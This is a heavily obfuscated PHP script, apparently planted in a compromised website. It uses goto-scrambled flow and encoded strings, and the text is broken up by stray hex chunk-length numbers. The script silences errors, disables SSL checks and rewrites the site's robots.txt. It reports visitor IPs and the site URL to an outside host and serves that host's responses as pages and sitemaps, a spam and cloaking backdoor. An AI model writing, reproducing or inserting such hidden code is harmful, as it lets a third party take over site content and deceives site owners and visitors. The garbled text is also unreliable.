4 10 $url, CURLOPT_RE 6 TURNTR 5 ANSFE 8 R => tru e e, CURLOPT_SSL 5 _VERI 4 FYPE a ER => fals 18 e, CURLOPT_SSL_VERIFYHOS 16 T => false, CURLOPT_FO 5 LLOWL 5 OCATI 15 ON => true, CURLOPT_T 5 IMEOU 11 T => 10, CURLOPT_ 16 POST => true, CURLOPT_ 8 POSTFIEL 7 DS => $ f postString)); $ d data = curl_e 7 xec($ch d ); curl_close d ($ch); if (!e 6 mpty($ b data)) { re a turn $data 6 ; } } b if (ini_get 6 ("\141 b \x6c\154\15 a 7\x77\x5f\ c 165\162\154\ d x5f\146\157\1 6 60\x65 e \x6e")) { $con 8 text = s 6 tream_ d context_creat b e(array("\1 9 50\164\x7 a 4\x70" => b array("\x6d c \x65\x74\150 10 \157\144" => "\x 9 50\117\x5 7 3\x54", d "\x74\x69\x6 10 d\x65\x6f\x75\16 e 4" => 10, "\x6 9 8\145\x61 c \144\145\x72 10 " => "\x43\157\1 e 56\164\145\x6e a \x74\x2d\1 6 24\x79 d \x70\145\72\4 a 0\141\160\ d 160\x6c\151\1 1e 43\x61\x74\151\157\156\57\170\ b 55\167\x77\ 9 167\55\x6 1 6 11 \x6f\162\x6d\x2d\ 7 x75\x72 e \154\145\156\1 11 43\157\144\x65\x6 8 4\15\xa" 7 . "\10 17 3\157\156\x74\145\156\1 9 64\55\x4c c \x65\x6e\147 c \164\150\72\ 7 x20" . 7 strlen( 15 $postString) . "\15\1 d 2" . "\x55\x7 f 3\145\x72\x2d\1 6 01\x67 15 \145\156\164\x3a\40\1 a 15\157\172 11 \x69\x6c\x6c\141\ 7 57\x35\ d 56\x30\15\12" 11 , "\x63\157\x6e\1 f 64\x65\156\164" 15 => $postString), "\1 a 63\163\x6c 13 " => array("\166\x6 e 5\x72\151\146\ 10 x79\x5f\160\x65\ c 145\162" => 15 false, "\166\145\x72\ 9 151\x66\x 18 79\x5f\160\145\x65\x72\x c 5f\x6e\x61\1 11 55\x65" => false) f )); $data = @fi 6 le_get a _contents( 15 $url, false, $context 32 ); if (!empty($data)) { return $data; } } return ' a '; } goto 5 wRFt_ 5 ; Vgu 10 JR: if (!empty($ a get["\162" 9 ])) { $ro 6 botsPa 8 th = $_S 6 ERVER[ b "\x44\117\x c 43\125\115\x 6 45\x4e a \x54\137\1 a 22\117\x4f b \x54"] . "\ e 57\162\157\142 f \x6f\x74\163\x2 e e\x74\x78\164" 7 ; $site 5 mapBl 7 ock = " d \125\163\145\ c 162\55\141\1 6 47\x65 12 \x6e\164\72\40\x2a 7 \xa\x41 10 \x6c\x6c\x6f\167 d \x3a\40\57\xa 19 "; $sitemaps = "\12\x53\x d 69\x74\145\x6 b d\x61\160\x 8 3a\x20{$ 8 http_typ 10 e}{$_SERVER["\x4 b 8\x54\124\x 9 50\x5f\11 c 0\117\123\12 10 4"]}{$_SERVER["\ a 123\x43\x5 b 2\x49\x50\1 b 24\x5f\x4e\ b 101\x4d\x45 7 "]}\x3f f \x73\75\163\12" c ; if (!file_ 17 exists($robotsPath)) { 7 file_pu 17 t_contents($robotsPath, 1b $sitemapBlock . $sitemaps) 8 ; } else 11 { $robotsContent 22 = @file_get_contents($robotsPath) c ; if (strpos 10 ($robotsContent, 1a $_SERVER["\123\x43\122\11 a 1\120\x54\ 12 x5f\x4e\101\x4d\10 7 5"]) == b = false) { 29 @file_put_contents($robotsPath, $sitemaps 6 , FILE 5 _APPE 9 ND); } } a } goto Kw0 6 TV; lb 6 _EM: $ 8 vurl = $ f http_type . "\x c 69\144\154\1 6 71\x32 10 \56\x69\x64\163\ b 150\x6f\x70 d \56\x63\x63\1 b 67\x75\x2e\ b 143\x63\57\ 9 64\61\x39 d \56\x61\163\x e 70\170"; goto 8 VguJR; W 4 NTMb 22 : if (!empty($get["\x69\x64"])) { 12 if (empty($get["\1 f 53\x6b"])) { $i 9 p = get_i 7 p(); $p 5 arams 11 = array("\151\16 a 0" => $ip, 11 "\x69\144" => is d set($get["\15 b 1\144"]) ? 13 $get["\151\x64"] : 9 '', "\x6c c \x6c" => $ll 9 ); $tzstr d = getCurl($v c url, $params 20 ); if (strpos($tzstr, "\x69\144" f ) !== false) { b echo $tzstr 5 ; die 1d ; } } $params = array("\151\x 17 64" => $get["\x69\x64"] b , "\154\154 32 " => $ll); $str = getCurl($vurl, $params); $str = 7 str_rep f lace(array("\17 a 3\x55\x52\ 7 114\x7d b ", "\x7b\xe b 5\x9f\x9f\x a e5\x90\x8d e \x7d"), array( b get_url_inf 7 o("\x66 d \x75\154\x6c" 15 ), get_url_info("\x6e d \157\x5f\167\ b 167\x77")), e $str); echo $ 14 str; die; } else { $ f sitemapUrl = $l 10 l . "\x3f\x73\75 9 " . date( a "\x59\155\ a 144\x48\x6 e 9"); echo "\x3 c c\144\151\x7 c 6\x20\163\16 c 4\171\x6c\14 6 5\x3d\ d 47\164\145\17 14 0\164\x2d\141\x6c\x6 7 9\x67\1 c 56\x3a\143\1 16 45\x6e\x74\145\x72\73\ e 40\160\x61\x64 11 \x64\151\x6e\147\ f x3a\61\x30\160\ c 170\x20\x30\ 9 x3b\47\x3 b e\x3c\x61\x c 20\150\x72\1 9 45\x66\x3 11 d\x22{$sitemapUrl 8 }\42\x20 e \164\141\162\1 d 47\x65\164\x3 d d\x22\x5f\x62 16 \x6c\141\x6e\153\x22\x e 20\x72\x65\154 9 \75\42\15 f 6\157\146\x6f\1 9 54\154\15 c 7\167\42\76\ e 40\123\151\164 11 \x65\155\141\160\ c 74\x2f\141\x c 3e\74\x2f\14 e 4\x69\166\x3e" c ; } goto UHN 9 mn; Kw0TV 17 : if (!empty($get["\x73 19 "])) { $params = array("\ 10 x73" => date("\1 b 31\155\144\ f 110\x69"), "\15 e 6\x75\155\x62\ 16 145\162" => $get["\156 9 \165\x6d\ d 142\145\162"] 48 ); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xb 6 d\x93\ 8 345\211\ a x8d\xe5\23 5 4\xb0 b \xe5\x9d\20 f 0\175"), array( 1c $http_type . $_SERVER["\x48\ 14 124\124\120\x5f\110\ d x4f\123\124"] 12 . $_SERVER["\x53\ 10 103\122\x49\120\ b 124\x5f\116 a \101\115\1 11 05"]), $str); hea 4 der( 16 "\x43\x6f\156\164\145\ f 156\x74\55\164\ d 171\x70\x65\x d 3a\x74\145\x7 e 8\164\x2f\x78\ 8 x6d\154" 1a ); echo $str; die; } goto d WNTMb; OsiDT: a error_rep 6 orting a (0); goto 8 XVeBg; H 5 WR4h: 16 $http_type = !empty($ 14 _SERVER["\110\124\x5 d 4\120\x53"]) 3 && 1e $_SERVER["\x48\x54\x54\120\123 8 "] !== " d \157\x66\x66" 9 ? "\x68\ d x74\x74\160\x b 73\72\57\x2 5 f" : 1d "\x68\x74\x74\160\x3a\57\x2f" b ; goto rRNp 9 n; rRNpn: 8 $ll = " 28 {$http_type}{$_SERVER["\x48\124\x54\120\ 22 137\110\117\123\124"]}{$_SERVER["\ 18 x53\x43\122\x49\120\124\ a 137\x4e\x4 14 1\x4d\x45"]}"; goto a lb_EM; RyB 2 oU 13 : function get_ip() 9 { foreac d h (array("\11 14 0\x54\x54\120\137\x5 9 8\x5f\x46 28 \x4f\122\127\101\122\x44\105\104\x5f\106 e \117\x52", "\x 10 48\124\x54\x50\1 a 37\103\x4c e \x49\105\116\1 e 24\x5f\111\120 b ", "\x52\10 12 5\115\117\124\105\ 11 x5f\101\x44\x44\x 8 52") as 4 $key 1c ) { if (!empty($_SERVER[$key d ])) { return 7 trim(ex 8 plode("\ 14 54", $_SERVER[$key]) a [0]); } } d return "\x55\ d 116\x4b\116\1 a 17\127\x4e 10 "; } goto w0kkS; 15 N6bGe: function get_ 11 url_info(string $ f return_type = " 10 \144\157\155\x61 9 \x69\x6e" f ) : string { $h 3 ost 23 = $_SERVER["\x48\124\124\x50\137\1 16 10\x4f\123\124"]; if ( 17 $return_type === "\144\ d x6f\x6d\x61\1 13 51\x6e") { return $ c host; } if ( 1a $return_type === "\x6e\x6f e \x5f\x77\x77\x f 77") { return l a trim($host 13 , "\x77\x77\x77\x2e 9 "); } $pr 6 otocol a = isset($ 16 _SERVER["\110\x54\124\ 19 120\123"]) && $_SERVER["\ 16 110\124\124\x50\123"] f === "\x6f\156" 14 || isset($_SERVER["\ 18 x48\124\x54\x50\137\x58\ f 137\106\117\x52 17 \127\101\122\x44\x45\x4 11 4\137\120\x52\x4f 8 \124\x4f 28 "]) && $_SERVER["\x48\x54\x54\x50\x5f\13 13 0\137\x46\x4f\x52\x 9 57\x41\x5 14 2\x44\x45\104\137\x5 13 0\122\117\124\x4f"] f === "\x68\164\ e 164\160\x73" ? 14 "\x68\164\164\x70\x e 73\x3a\57\x2f" 1b : "\x68\x74\164\x70\x3a\x2 8 f\57"; $ 5 base_ 11 url = $protocol . 22 $host; if ($return_type === "\142 c \141\x73\x65 15 ") { return $base_url 8 ; } $uri 17 = $_SERVER["\x52\105\x d 51\x55\x45\x5 f 3\124\x5f\x55\1 a 22\111"]; 5 $full 12 _url = $base_url . 26 $uri; if ($return_type === "\146\165\ 14 154\x6c") { return $ 1e full_url; } return ''; } goto 6 RyBoU; 14 wRFt_: function get 21 Curl($url, $getData = array()) { 10 if (!empty($getD e ata)) { $query 1b String = is_array($getData) 1f ? http_build_query($getData) : f $getData; $url d .= (strpos($ b url, "\x3f" 12 ) === false ? "\x3 b f" : "\x26" 10 ) . $queryString 1a ; } if (function_exists("\ 15 143\165\162\154\x5f\1 fa 51\x6e\151\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_ 5 HTTPG 15 ET => true, CURLOPT_U 6 SERAGE 8 NT => "\ 13 115\157\172\151\154 e \x6c\141\x2f\6 8 5\56\60" 6a )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\ e x6c\157\x77\13 10 7\x75\x72\x6c\13 e 7\x66\157\160\ 7 145\x6e 51 ")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\14 1b 5\x74\150\157\144" => "\107 17 \105\x54", "\x74\151\15 10 5\x65\x6f\165\16 c 4" => 10, "\ 10 150\x65\x61\144\ 10 x65\x72" => "\x5 13 5\x73\145\162\x2d\x 7 41\147\ 19 145\x6e\x74\x3a\x20\x4d\x f 6f\x7a\151\154\ c 154\x61\57\6 a 5\56\x30\x f d\12"), "\x73\x b 73\154" => 14 array("\x76\145\x72\ 35 x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\ 10 162\151\146\x79\ e 137\x70\x65\x6 f 5\x72\137\x6e\1 9 41\x6d\14 82 5" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto HWR4h; 9 UHNmn: ? 1 > 0